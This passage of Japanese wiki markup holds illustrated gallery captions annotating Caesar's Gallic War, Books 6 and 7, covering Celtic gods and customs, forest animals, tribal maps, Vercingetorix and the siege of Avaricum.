&lt;!--【第6巻15節】--&gt;
画像:BIATEC_pri_NBS_1.jpg|thumb|right|200px|ケルト系の王ビアテック（[[w:en:Biatec|Biatec]]）の騎馬像（[[w:スロバキア国立銀行|スロバキア国立銀行]]）。彼はBC1世紀のケルトの硬貨に刻まれた人物で、現代[[w:スロバキア・コルナ|スロバキアの5コルナ]]硬貨にも刻まれている。
画像:Bige_Musée_de_Laon_050208.jpg|thumb|right|200px|二頭立て二輪馬車（[[w:チャリオット|戦車]]）に乗るガッリア人像（仏･[[w:ラン (フランス)|ラン]]博物館）
&lt;!--【第6巻16節】--&gt;
画像:Myths and legends; the Celtic race (1910) (14781091124).jpg|thumb|ガッリアの&lt;ruby&gt;&lt;rb&gt;人身&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ひとみ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;御供&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ごくう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の想像画（1910年、[[w:en:T. W. Rolleston|トーマス・ウィリアム・ロールストン]]著『神話と伝説；ケルト民族』の挿絵）。
&lt;/gallery&gt;
&lt;hr&gt;
&lt;gallery&gt;
画像:Wicker man (Britannia antiqua illustrata).jpg|thumb|left|500px|ウィッカーマンの想像画(1676年)
画像:The Wicker Man of the Druids crop.jpg|thumb|left|400px|想像画(1773/1776年) 
画像:The religious denominations in the United States- their history, doctrine, government and statistics. With a preliminary sketch of Judaism, paganism and Mohammedanism (1854) (14777386845).jpg|thumb|left|250px|想像画(1854年)
画像:The 2007 wicker man.jpg|thumb|left|250px|2007年に造られたウィッカーマン
&lt;/gallery&gt;
&lt;!--
柳の枝で編んだ巨人[[w:ウィッカーマン|ウィッカーマン]]（[[w:en:Wicker_Man|Wicker Man]]）の想像画（17～19世紀）。この特異な風習は、近代になって人々の興味をかき立て、いくつもの想像画が描かれた&lt;ref&gt;例えば『ケルト人─蘇るヨーロッパ&lt;幻の民&gt;』C.エリュエール著、鶴岡真弓監修、創元社、p.130の挿絵などを参照。&lt;/ref&gt;
画像:WickerManIllustration.jpg|柳の枝で編んだ巨人[[w:ウィッカーマン|ウィッカーマン]]（[[w:en:Wicker_Man|Wicker Man]]）の想像画（18世紀）。この特異な風習は、近代になって人々の興味をかき立て、いくつもの想像画が描かれた。1973年にはイギリスで映画化され、2006年にはアメリカなどでも映画化された。
画像:Burning_wicker_man_by_Bruce_McAdam.jpg|スコットランドの野外博物館で燃やされるウィッカーマン（2008年）
--&gt;
&lt;hr&gt;
&lt;gallery&gt;
&lt;!--【第6巻17節】--&gt;
画像:Taranis_Jupiter_with_wheel_and_thunderbolt_Le_Chatelet_Gourzon_Haute_Marne.jpg|thumb|right|200px|ガッリアの雷神タラニス（[[w:en:Taranis|Taranis]]）の神像（[[w:en:National_Archaeological_Museum_(France)|フランス国立考古学博物館]]）。雷を司ることからローマ神話の[[w:ユーピテル|ユッピテル]]と同一視された。左手に車輪、右手に稲妻を持っている。
画像:God_of_Etang_sur_Arroux_possible_depiction_of_Cernunnos.jpg|thumb|right|200px|ガッリアの神ケルヌンノス（[[w:en:Cernunnos|Cernunnos]]）の神像（フランス国立考古学博物館）。
&lt;!--【第6巻18節】--&gt;
画像:Gaul_god_Sucellus.jpg|thumb|right|200px|ガッリアの神スケッルス（[[w:en:Sucellus|Sucellus]]）の神像。[[w:冥界|冥界]]の神とされ、ディス・パテルと同一視されたという説も考えられている。
&lt;!--【第6巻19節】--&gt;
画像:Hallstatt_culture_ramsauer.jpg|thumb|right|200px|[[w:ハルシュタット文化|ハルシュタット文化]]の[[w:墳丘墓|墳丘墓]]から発掘された遺骸と[[w:副葬品|副葬品]]（19世紀の模写）。ガッリアなどではハルシュタット文化後期から[[w:土葬|土葬]]が普及したが、[[w:ラ・テーヌ文化|ラ・テーヌ文化]]中期から再び[[w:火葬|火葬]]が主流になったと考えられている。
&lt;/gallery&gt;
&lt;hr&gt;

===ゲルマーニア人の社会と風習について===
&lt;gallery&gt;
&lt;!--【第6巻24節】--&gt;
画像:Celts.svg|thumb|right|200px|ケルト文化の広がり（BC800年～BC400年頃）。ケルト系部族の優越は、[[w:鉄器|鉄器]]文化の発達などによると考えられている。
画像:Mappa_di_Eratostene.jpg|thumb|right|200px|[[w:エラトステネス|エラトステネース]]の地理観を再現した世界地図（19世紀）。左上に「Orcynia Silva（オルキュニアの森）」とある。
画像:Hallstatt_LaTene.png|thumb|right|200px|[[w:ハルシュタット文化|ハルシュタット文化]]期と[[w:ラ・テーヌ文化|ラ・テーヌ文化]]期におけるケルト系部族の分布。右上にウォルカエ族（Volcae）やボイイ族（Boii）の名が見える。ボイイ族が居住していた地域はボイオハエムム（Boihaemum）と呼ばれ、[[w:ボヘミア|ボヘミア]]（Bohemia）として現在に残る。
画像:Volcae Arecomisci and Tectosages (migrations).svg|thumb|right|500px|[[w:ストラボン|ストラボーン]]によれば、ウォルカエ・テクトサゲース族は、もともとは[[w:小アジア|小アジア]]の[[w:ガラティア|ガラティア]]方面にいたが、ガッリアへ移住してきたという。
&lt;/gallery&gt;
&lt;hr&gt;

===ヘルキュニアの森林と野獣について===
&lt;gallery&gt;
&lt;!--【第6巻25節】--&gt;
画像:FeldbergPanorama.jpg|thumb|center|1000px|ヘルキュニアの森林地帯（ドイツ南西部、[[w:シュヴァルツヴァルト|シュヴァルツヴァルトの森]]の最高峰フェルドベルク山 [[w:enrecta#Latin:Feldberg_(Black Forest)|Feldberg]] の眺望）
&lt;!--【第6巻26節】--&gt;
画像:Rentier fws 1.jpg|thumb|right|200px|[[w:トナカイ|トナカイ]]（[[w:la:Tarandrus|Rangifer tarandus]]）。発達した枝角を持ち、雌雄ともに角があるという特徴は本節の説明に合致している。が、角が一本ということはないし、野生のトナカイは少なくとも現在では極北の地にしか住まない。
&lt;!--【第6巻27節】--&gt;
画像:Bigbullmoose.jpg|thumb|right|250px|[[w:ヘラジカ|ヘラジカ]]（Alces alces）。&lt;br&gt;発達した枝角と大きな体を持ち、名称以外は本節の説明とまったく合致しない。&lt;br&gt;しかしながら、[[w:ガイウス・プリニウス・セクンドゥス|大プリニウス]]の『[[w:博物誌|博物誌]]』第8巻（16章･39節）には、[[w:アクリス|アクリス]]（[[w:en:Achlis|achlis]]）という一見ヘラジカ（alces）のような奇獣が紹介され、その特徴は本節2段落目以下のカエサルの説明とほぼ同じであることが知られている。
画像:Gressoney-Saint-Jean-Museo-IMG 1824.JPG|thumb|right|250px|[[w:ノロジカ|ノロジカ]]（Capreolus capreolus）。&lt;br&gt;ヨーロッパに広く分布する小鹿で、まだら模様で山羊にも似ているので、本節冒頭の説明と合致する。しかし、関節はあるし、腹ばいにもなる。
&lt;!--【第6巻28節】--&gt;
画像:Wisent.jpg|thumb|right|250px|[[w:ヨーロッパバイソン|ヨーロッパバイソン]]（[[w:la:Bison|Bison bonasus]]）。&lt;br&gt;かつてヨーロッパに多数生息していた野牛で、相次ぐ乱獲により野生のものは20世紀初頭にいったん絶滅したが、動物園で繁殖させたものを再び野生に戻す試みが行なわれている。
画像:Muybridge Buffalo galloping.gif|thumb|right|200px|疾走するバイソン
画像:Drinkhoorn_roordahuizum.JPG|thumb|right|300px|酒杯として用いられた野獣の角。銀で縁取りされている。
&lt;/gallery&gt;
&lt;hr&gt;

===対エブローネース族追討戦(1)===
&lt;gallery&gt;
&lt;!--【第6巻31節】--&gt;
画像:Taxus baccata JPG2Aa.jpg|thumb|right|300px|[[w:ヨーロッパイチイ|ヨーロッパイチイ]]（[[w:en:Taxus baccata|Taxus baccata]]）の樹（ベルギー）。イチイはケルトの人々にとって聖なる樹木であり、[[w:ドルイド|ドルイド]]はイチイの枝を用いて祭儀を行なったという&lt;ref name=&quot;マルカル&quot;&gt;[[ガリア戦記/注解編#Markale_(1999)|マルカル『ケルト文化事典』]]「イチイ」の項を参照。&lt;/ref&gt;。&lt;br&gt;また、'''[[w:エブロネス族|エブローネース族]]''' '''[[wikt:en:Eburones#Latin|Eburōnēs]]''' という部族名はイチイを表わすケルト祖語 ''[[wikt:en: Reconstruction:Proto-Celtic/eburos|*eburos]] に由来すると考えられている&lt;ref name=&quot;マルカル&quot;/&gt;。
画像:Taxus baccata MHNT.jpg|thumb|right|300px|[[w:ヨーロッパイチイ|ヨーロッパイチイ]]（[[w:en:Taxus baccata|Taxus baccata]]）&lt;br&gt;欧州などに広く自生するイチイ科の[[w:針葉樹|針葉樹]]。赤い果実は食用で甘い味だが、種子には[[w:タキシン|タキシン]]（taxine）という[[w:アルカロイド|アルカロイド]]系の毒物が含まれており、種子を多量に摂れば[[w:痙攣|けいれん]]を起こして[[w:呼吸困難|呼吸困難]]で死に至る。&lt;br&gt;他方、[[w:タキサン|タキサン]]（taxane）という成分は[[w:抗がん剤|抗がん剤]]などの[[w:医薬品|医薬品]]に用いられる。
&lt;!--【第6巻32節】--&gt;
画像:Régions naturelles de Belgique.jpg|thumb|300px|現代[[w:ベルギー|ベルギー]]の生態区分図。&lt;br /&gt;図の&lt;span style=&quot;background-color:#E6E6FA;&gt;薄紫色の部分&lt;/span&gt;「コンドロ」（[[w:en:Condroz|Condroz]]）の辺りにコンドルースィー族 ''[[w:en:Condrusi|Condrusi]]'' が、その南の[[w:アルデンヌ|アルデンヌ]]にセグニー族 ''[[w:en:Segni (tribe)|Segni]]'' がいたと考えられている。
&lt;!--【第6巻33節】--&gt;
画像:Ancient north-east Gaul topographic map (Latin).svg|right|thumb|300px|ガッリア北東部の[[ガリア戦記/ガリアの河川#ライン川水系|ライン川水系]]の図。&lt;hr&gt;[[w:la:Rhenus|Rhenus]]：レーヌス　〔[[w:ライン川|ライン川]]〕&lt;br&gt;[[w:la:Mosella (flumen)|Mosella]]：モセッラ　〔[[w:モーゼル川|モーゼル川]]〕&lt;br&gt;[[w:la:Vacalus|Vacalus]]：ウァカルス〔[[w:ワール川|ワール川]]〕&lt;br&gt;[[w:la:Mosa|Mosa]]　：モサ　　　 〔[[w:マース川|マース川]]〕&lt;br&gt;[[w:la:Scaldis|Scaldis]]：スカルディス〔[[w:スヘルデ川|スヘルデ川]]〕
画像:Schelde_4.25121E_51.26519N.jpg|ベルギーの[[w:アントウェルペン|アントウェルペン]]周辺を流れる[[w:スヘルデ川|スヘルデ川]]河口付近の[[w:衛星画像|衛星画像]]。ラビエーヌスが向かったメナピイー族に接する地方である。


&lt;/gallery&gt;
&lt;!--【第6巻●節】--&gt;

&lt;hr&gt;
&lt;gallery&gt;

&lt;!--【第6巻●節】--&gt;
画像:PraetorianVexillifer_1.jpg|帝政期に用いられた軍旗（ウェクスィッルム）の一種を再現したもの。
画像:Castra1.png|ローマ式[[w:カストラ|陣営]]（[[w:la:Castra_Romana|castra Romana]]）の概略図（再掲）。'''７'''が第10大隊の門（porta decumana）で、陣営の裏門に当たる。
画像:Wedge-diagram.svg|[[w:くさび|楔(くさび)]]の図。本節で述べられているのは、ローマ勢が楔（図の黒い部分）のように突撃することにより、敵を中央突破しようという戦術であろう。
画像:Porte_Mars_01.jpg|ドゥロコルトルム（現在の[[w:ランス (マルヌ県)|ランス]]）に建てられた帝政ローマ時代（3世紀）の[[w:凱旋門|凱旋門]]。


&lt;/gallery&gt;
&lt;!--【第6巻●節】--&gt;

==第7巻==
*&lt;span style=&quot;background-color:#ddd;&quot;&gt;[[ガリア戦記 第7巻]]　；　[[ガリア戦記 第7巻/注解]]&lt;/span&gt;
** [[#カルヌーテース族の蜂起]]
** [[#ウェルキンゲトリークスとガッリア同盟軍の蜂起]]
** [[#アウァーリクム攻略戦]]
** [[#ゲルゴウィア攻略戦、ハエドゥイー族の離反]]
** [[#アレスィア攻囲戦]]

===カルヌーテース族の蜂起===
&lt;gallery&gt;
&lt;!--【第7巻1節】--&gt;
画像:Gaule_-52.png|ガリア戦記 第7巻の情勢図（BC52年）。&lt;br&gt;黄色の領域がローマ領。桃色が同盟部族領。
画像:Maccari-Cicero.jpg|thumb|right|250px|[[w:カティリナ弾劾演説|カティリーナ弾劾演説]]をする[[w:マルクス・トゥッリウス・キケロ|キケロー]](左中央)（チェザレ・マッカリによる19世紀のフレスコ画）。[[w:プブリウス・クロディウス・プルケル|クロディウス]]はこれを越権行為であるとして、カエサルの政敵となっていたキケローを一時的に亡命へ追い込み、ついにはキケローの友人ミローの配下によって殺害された。
画像:Pompei_Magnus_Antiquarium.jpg|[[w:グナエウス・ポンペイウス|グナエウス・ポンペイウス]]の胸像。クロディウス殺害に伴う騒乱を収拾するべく、[[w:元老院|元老院]]によりポンペイウスが単独の[[w:執政官|執政官]]に選出され、首都ローマと本土イタリアを制圧した。一方、カエサルも属州で新たに徴兵して兵力を増した。元老院派はカエサルの勢力が強大になることを恐れて、カエサル自身から将兵を取り上げて召還すべきと主張したが、ポンペイウスは不和を避けて宥和を図った。
画像:Brennus_mg_9724.jpg|thumb|right|250px|[[w:ブレンヌス|ブレンヌス]]の胸像。BC4世紀（[[w:紀元前387年|387年]]）に、ローマ軍を破って、ローマ市を占領した。アッコーと同じセノネース族の族長だったとされている。
&lt;!--【第7巻2節】--&gt;
画像:Chartres_1.jpg|thumb|right|320px|カルヌーテース族（[[w:la:Carnutes|Carnutes]]）の名を残す現在の[[w:シャルトル|シャルトル]]（[[w:en:Chartres|Chartres]]）の象徴である[[w:シャルトル大聖堂|シャルトル大聖堂]]（[[w:世界遺産|世界遺産]]）。[[ガリア戦記 第6巻#13節|第6巻13節]]⑩項で既述のように、カルヌーテース族の土地はガッリアの中心・聖地と見なされていた。ガッリアがキリスト教化されると、[[w:司教|司教座]]が置かれて、宗教的中心地となった。
&lt;!--【第7巻3節】--&gt;
画像:Cathédrale_Sainte-Croix_d'Orléans_2008_PD_16.JPG|thumb|right|280px|ケナブム（Cenabum）すなわち現在の[[w:オルレアン|オルレアン]]の聖十字架大聖堂。ここもカルヌーテース族の[[w:オッピドゥム|城塞都市]]で、ガッリアの[[w:ドルイド|ドルイド]]たちが集まる聖地だったという。ローマの[[w:ルキウス・ドミティウス・アウレリアヌス|アウレリアヌス帝]]（Aurelianus）によって再建されたのでアウレリアヌスの都市（アウレリアヌム [[w:la:Aurelianum|Aurelianum]]）と改称され、オルレアン（Orléans）と転訛した。キリスト教化によってここにも[[w:司教|司教座]]が置かれて、布教の中心地になった。
&lt;/gallery&gt;
===ウェルキンゲトリークスとガッリア同盟軍の蜂起===
&lt;gallery&gt;
&lt;!--【第7巻4節】--&gt;
画像:Vercingetorix stater CdM.jpg|thumb|right|200px|“&lt;span style=&quot;font-family:Times New Roman;font-size:15pt;&quot;&gt;(VERCIN)GETORIXS&lt;/span&gt;”の名と横顔が刻まれた金貨。
画像:Vercingétorix_par_Millet.jpg|thumb|right|250px|[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]の立像（フランスのアリーズ＝サント＝レーヌ &lt;small&gt;[[w:fr:Alise-Sainte-Reine|Alise-Sainte-Reine]]&lt;/small&gt;）。&lt;br&gt;近代[[w:ナショナリズム|ナショナリズム]]の高揚とともに[[w:フランス|フランス]]国民が自らを古代[[w:ガリア人|ガッリア人]]の末裔と見なすようになると（[[w:ガリア起源説|ガッリア起源説]]）、ガッリア諸部族を率いて[[w:古代ローマ|古代ローマ]]と戦った彼は「'''フランス最初の英雄'''」として祀り上げられた。[[w:フランス第二帝政|第二帝政]]期に皇帝[[w:ナポレオン3世|ナポレオン3世]]の命により[[w:アレシアの戦い|アレスィア古戦場]]の発掘調査が実施され、[[w:1865年|1865年]]にはその地に彫刻家エメ・ミレ（[[w:fr:Aimé Millet|Aimé Millet]]）による高さ7メートルの銅像が建立された。&lt;br&gt;（[[w:fr:Vercingétorix_(statue_d'Aimé_Millet)|fr:La statue de Vercingétorix]]）
画像:Statue-vercingetorix-jaude-clermont.jpg|thumb|right|250px|[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]の騎馬像([[w:fr:Statue équestre de Vercingétorix (Frédéric Auguste Bartholdi)|fr]])。彼の出身地ゲルゴウィアの近く、[[w:クレルモン＝フェラン|クレルモン＝フェラン市]]中央広場に建つ。[[w:1903年|1903年]]に、[[w:自由の女神像 (ニューヨーク)|自由の女神像]]の作者として著名な彫刻家[[w:フレデリク・バルトルディ|フレデリク・オーギュスト・バルトルディ]]によって建立された。[[w:フランス語|フランス語]]で「我は皆の自由のために武器を取った」« J’ai pris les armes pour la liberté de tous » と刻まれている。
&lt;!--【第7巻5節】--&gt;
画像:Map of Eduens people-fr.svg|thumb|right|250px|[[w:ハエドゥイ族|ハエドゥイー族]]を軸とするガッリアの合従連衡（&lt;small&gt;フランス語表記&lt;/small&gt;）。赤い部分がハエドゥイー族（Eduens）、桃色・茶色の部分が同盟部族、灰色の部分が敵対する[[w:アルウェルニ族|アルウェルニー族]]（Arvernes）とセクアニー族（Sequanes）の領域である。茶色のビトゥリゲース族（Bituriges）と赤いハエドゥイー族（Eduens）の境界に沿ってリゲル川（[[w:ロワール川|ロワール川]]）が流れていることが見て取れる。川の西岸はビトゥリゲース族とアルウェルニー族の勢力圏になっている。


&lt;!--【第7巻●節】--&gt;

画像:Warsaw_Royal_Castle_GM_(12).JPG|[[w:グナエウス・ポンペイウス|グナエウス・ポンペイウス]]の立像（[[w:ワルシャワ歴史地区|ワルシャワ王宮]]）。彼は首都の騒乱を鎮めるために単独の[[w:執政官|執政官]]として大権を与えられ、イタリアの徴兵権を得た。[[w:三頭政治|三頭政治]]後のこの混乱期に、彼はカエサルの政敵たちからこぞって支持されたが、危機に瀕していたカエサルを打倒する絶好の機会を見送った。これは重大な逸機であり、数年後にポンペイウスにとって致命的な結果をもたらすことになる。
画像:Narbonne_panorama.jpg|'''ナルボ'''（Narbo）すなわち現在の[[w:ナルボンヌ|ナルボンヌ市]]（Narbonne）の街並み。ローマ人が[[w:ドミティア街道|ドミティア街道]]の拠点として植民市'''コロニア・ナルボ・マルティウス'''（Colonia Narbo Martius）を建設し、後には[[w:ローマ内戦 (紀元前49年-紀元前45年)|ローマ内乱]]のときにもカエサル派の根拠地となった。その重要性から帝政期には州都に昇格し、[[w:属州|属州]]名も[[w:ガリア・ナルボネンシス|ガリア・ナルボネンスィス]]に改められたほどである。
画像:Via_domitia_map600x600_(1).png|[[w:ドミティア街道|ドミティア街道]]（Via Domitia）の経路。ローマ人によってイタリアと[[w:ヒスパニア|ヒスパニア]]を結ぶ重要な街道として整備された。本節でカエサル側の軍勢が往復したのもこの街道である。
画像:Carte-cevennes-france.png|フランスにおける[[w:中央高地 (フランス)|中央高地]]（Massif Central）とセヴェンヌ山地（Cévennes）の位置
画像:Col_de_legal.jpeg|[[w:雪|雪]]に覆われた[[w:オーヴェルニュ地域圏|オーヴェルニュ高地]]。オーヴェルニュ（Auvergne）の名は[[w:アルウェルニ族|アルウェルニ族]]（Arverni）に由来する。
画像:Causse_Mejean_Evening.jpg|城壁のように続くケウェンナ（セヴェンヌ）山地の断崖
画像:France_Massif_central.jpg|[[w:アルウェルニ族|アルウェルニ族]]の勢力圏であった[[w:中央高地 (フランス)|中央高地]]（Massif Central）の領域（着色部分）。平野の多いフランスにおいて山塊としてそびえ立つ。

&lt;!--【第7巻9節】--&gt;
画像:Image-Vienne-Cropped.jpg|thumb|right|300px|'''ウィエンナ'''（Vienna）すなわち現在のヴィエンヌ（Vienne）。ロダヌス川（現[[w:ローヌ川|ローヌ川]]）のほとりにある当地は、南仏[[w:プロヴァンス|プロヴァンス地方]]と北仏[[w:ブルゴーニュ地域圏|ブルゴーニュ地方]]を結ぶ交通の要衝として、古代ローマ時代から栄え、今もローマ時代の遺跡が多く残る。
画像:Langres_FR_(march_2008).jpg|thumb|right|300px|リンゴネース族（Lingones）の名を残す[[w:ラングル|ラングル]]（Langres）の街の雪景色

&lt;!--【第7巻10節】--&gt;
画像:Caesar's_campaign_to_Agedincum_in_52BC.png|thumb|right|250px|前節までのカエサルの[[w:ナルボンヌ|ナルボー]]からアゲディンクムへの進路（青線）および[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]の進路（赤線）。青字名は親ローマ部族、赤字名は反ローマ部族。カエサルは[[w:アルウェルニ族|アルウェルニー族]]の本拠ゲルゴウィアを突くと見せかけてウェルキンゲトリークスを引き寄せ、その間に[[w:ブルゴーニュ地域圏|ブルゴーニュ]]に冬営していた諸軍団と合流できた。これに対して、ウェルキンゲトリークスはボイイー族を攻めようとする。
画像:Aqueduc2.jpg|thumb|right|250px|アゲディンクム、すなわちセノネース族（Senones）の名を残す現在の[[w:サンス|サーンス]]（Sens）に建てられたローマ時代の[[w:水道橋|水道橋]]遺跡。


&lt;!--【第7巻●節】--&gt;
画像:France_-_Loiret_-_Montargis_-_Passerelle_vers_l'écluse.JPG|ウェッラウノドゥヌムの候補地の一つであるモンタルジ（Montargis）の運河沿いの景観。セノネス族の城市ウェッラウノドゥヌム（Vellaunodunum）が現在のどの地点に当たるのか定説はない。アゲディンクム（現在の[[w:サンス|サンス]]）とケナブム（現在の[[w:オルレアン|オルレアン]]）の中間地点であると考えられることから、モンタルジ（[[w:en:Montargis|Montargis]]）、ボーヌ＝ラ＝ロランド（[[w:en:Beaune-la-Rolande|Beaune-la-Rolande]]）やシャトー＝ランドン（[[w:en:Château-Landon|Château-Landon]]）などが候補地に挙げられている。
画像:Orleans.jpg|ケナブム（Cenabum）すなわち現在の[[w:オルレアン|オルレアン]]（Orléans）を流れるリゲル川（現在の[[w:ロワール川|ロワール川]]）の景観。左が北岸のオルレアン聖十字架大聖堂、右がジョージ5世橋と思われる。
画像:Sancerre.jpg|ビトゥリゲス族の城市があったと考えられる[[w:サンセール|サンセール]]（[[w:en:Sancerre|Sancerre]]）の街並み。カエサルがケナブム（現[[w:オルレアン|オルレアン]]）からリゲル川（現[[w:ロワール川|ロワール川]]）沿いに当初の目的地であったゴルゴビナへ向かい、後にアウァーリクム（現[[w:ブールジュ|ブールジュ]]）へ右折したと見なせば、この地がノウィオドゥヌムであったとも考えられる。街の名 Sancerre の意味が「カエサルに捧げられた」であるという説もある。現在は[[w:ロワールワイン|ロワールワイン]]の産地として有名で、辛口の白ワインなどの銘柄「Sancerre」にもなっている。
画像:Neung-sur-Beuvron_église_Saint-Denis_1.jpg|城市ノウィオドゥヌム（Noviodunum）の所在地として現在有力視されている[[w:ロワール＝エ＝シェール県|ロワール＝エ＝シェール県]]のヌン＝スュル＝ブーヴロン（[[w:en:Neung-sur-Beuvron|Neung-sur-Beuvron]]）のサン＝ドニ教会。カエサルは当初の目的地であったボイイ族のゴルゴビナへは真っ直ぐ向かわずに大きく迂回しており、ケナブム（現[[w:オルレアン|オルレアン]]）の南方約45kmにあるこの地点（Beuvron川沿いのNeung）がノウィオドゥヌムであると推定されている。上空からは、ガリア時代の城市跡の輪郭が見て取れるという。しかしながら、ボイイ族からは遠い位置にある。
画像:Caesar's_campaign_to_Noviodunum_in_52BC.png|ノウィオドゥヌムに至るカエサルの進路（青線）および[[w:ウェルキンゲトリクス|ウェルキンゲトリクス]]の進路（赤線）。青字名は親ローマ部族、赤字名は反ローマ部族。カエサルはアゲディンクムを発してからウェッラウノドゥヌム、ケナブム、ノウィオドゥヌムを続けて降し、ボイイ族のゴルゴビナ攻略を諦めたウェルキンゲトリクスもノウィオドゥヌム来援に駆けつけて来た。ここに、初めて両軍が騎兵戦で激突することになった。
画像:Eglise_saint_parize_le_chatel.jpg|ボイイ族（Boii）の領内であったと思われる現在のサン＝パリーズ＝ル＝シャテルの教会。ボイイ族の首邑ゴルゴビナは、[[w:ニエーヴル県|ニエーヴル県]]のサン＝パリーズ＝ル＝シャテル（[[w:en:Saint-Parize-le-Châtel|Saint-Parize-le-Châtel]]）あるいは[[w:シェール県|シェール県]]のラ・ゲルシュ＝スュル＝ローボワ（[[w:en:La Guerche-sur-l'Aubois|La Guerche-sur-l'Aubois]]）の近辺にあったと推定されている。
&lt;/gallery&gt;
&lt;!--【第7巻●節】--&gt;

===アウァーリクム攻略戦===
&lt;gallery&gt;
&lt;!--【第7巻15節】--&gt;
画像:Bourges_-_002_-_Low_Res.jpg|thumb|right|300px|'''アウァーリクム'''（Avaricum）すなわちビトゥリゲース族（Bituriges）の名を残すともいわれる現在の[[w:ブールジュ|ブールジュ]]（Bourges）の[[w:サン＝テチエンヌ大聖堂 (ブールジュ)|サン＝テティエンヌ大聖堂]]（[[w:世界遺産|世界遺産]]）。この街はガッリア時代からこの地方の中心的な城塞都市であり、現代ではそれほど大都会ではないが、世界遺産の大聖堂や音楽祭などで広く知られている。
画像:Bourges.JPG|thumb|right|300px|アウァーリクムすなわち[[w:ブールジュ|ブールジュ]]の大聖堂から眺めた街並み。'''ビトゥリゲース族'''はかつてはイタリア北部に移住したこともある強大な部族で、この当時はブルディガラ（Burdigala：現在の[[w:ボルドー|ボルドー]]）周辺にいたビトゥリゲース・ウィウィスキ族（Bituriges Vivisci）およびアウァーリクム周辺にいた'''ビトゥリゲース・クビ族'''（Bituriges Cubi）の二派に分かれていた。『ガリア戦記』に登場するのはビトゥリゲース・クビ族の方である。
画像:Bourges_2.JPG|thumb|right|300px|アウァーリクムすなわち[[w:ブールジュ|ブールジュ]]の大聖堂から眺めた沼地。イェーヴル川（[[w:fr:Yèvre (Cher)|fr:Yèvre]]）と沼地は、カエサルが書いたようにガッリア時代からこの街を囲んでいる。
&lt;!--【第7巻17節】--&gt;
画像:Carte_du_Cher.svg|thumb|right|250px|アウァーリクム、すなわち現在の[[w:ブールジュ|ブールジュ市]]（Bourges）のあるフランス・[[w:シェール県|シェール県]]の地図。中心にブールジュがあり、右下（南東）のラ・ゲルシュ＝スュル＝ローボワ（[[w:en:La Guerche-sur-l'Aubois|La Guerche-sur-l'Aubois]]）の近辺にボイイー族の首邑ゴルゴビナ（Gorgobina）があったと推定されている。右（東）隣の[[w:ニエーヴル県|ニエーヴル県]]（Nièvre）が[[w:ハエドゥイ族|ハエドゥイー族]]の版図であった。
画像:Caesar's Gallic war; (Allen and Greenough's ed.) (1898) (14781415375).jpg|thumb|right|350px|城壁(図中の左端)を攻略するために築かれた&lt;ruby&gt;&lt;rb&gt;土塁&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;アッゲル&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt; の復元画（[[ガリア戦記_第2巻#12節|第2巻12節]]で既出）。左上には、両軍の&lt;ruby&gt;&lt;rb&gt;[[w:攻城塔|攻城櫓]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;トゥッリス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が描かれている。
画像:Bender - Vinea.JPG|thumb|right|350px|&lt;ruby&gt;&lt;rb&gt;工作小屋&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ウィネア&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;  [[wikt:en:vinea|vinea]] の復元画（[[ガリア戦記_第2巻#12節|第2巻12節]]で既出）。敵の矢玉などから身を守りながら城壁に近づくために用いられたと考えられている。

&lt;!--【第7巻18節】--&gt;
画像:AVARICUM Battaglia 52 aC.png|thumb|right|300px|アウァーリクム攻略戦の布陣図（&lt;small&gt;イタリア語&lt;/small&gt;）。中央がアウァーリクム（AVARICUM）、右下の赤枠内がカエサルと8個軍団の陣営、赤い矢印の先端がローマ軍の土塁。左上の楕円形がウェルキンゲトリークスが移動させた陣営。
画像:Funerary chariot in the archeological museum of Strasbourg.jpg|thumb|right|300px|[[w:ハルシュタット文化|ハルシュタット文化]]の墳墓の副葬品として発掘された '''四輪荷馬車''' のレプリカ（仏ストラスブール考古学博物館）。

&lt;!--【第7巻20節】--&gt;
画像:Vercingetorix_stater_n2_CdM_alternate.jpg|[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]の横顔が刻まれたガッリアの金貨（パリの[[w:ビブリオテーク・ナショナル|仏国立図書館]]貨幣部蔵）

&lt;!--【第7巻22節】--&gt;
画像:Falx_bgiu.png|破城鎌（[[w:en:Falx|falx]]）の想像画（再掲）
画像:Doura_Europos_tunnel.jpg|ローマ支配下の城砦跡に残る[[w:坑道|坑道]]の例（シリアの[[w:ドゥラ・エウロポス|ドゥラ・エウロポス]]遺跡）。[[w:サーサーン朝|サーサーン朝]]軍が[[w:坑道戦|坑道戦]]のために掘削したと考えられている。
画像:University_of_Queensland_Pitch_drop_experiment-white_bg.jpg|&lt;ruby&gt;&lt;rb&gt;[[w:ピッチ (樹脂)|樹脂]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ピッチ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の滴下実験の様子（豪州[[w:クイーンズランド大学|クイーンズランド大学]]）。[[w:木材|木材]]を密閉加熱すると[[w:木炭|木炭]]が得られるが、その残り物から[[w:乾留液#木タール|木タール]]を[[w:蒸留|蒸留]]させた残り&lt;ruby&gt;&lt;rb&gt;滓&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;かす&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;がピッチである。樹木から得られるピッチは、黒色で[[w:粘度|粘っこく]]、高温で燃焼する。中世ヨーロッパでは城砦の防衛に使用され、城壁に近づく敵の上から熱したピッチを注いで焼死させたりしたという（[[w:fr:Poix (matière)|fr:poix]]）。
&lt;/gallery&gt;&lt;br&gt;
{{Commons|Category:Murus gallicus|Murus gallicus}}
;「ガッリア壁」
&lt;gallery&gt;
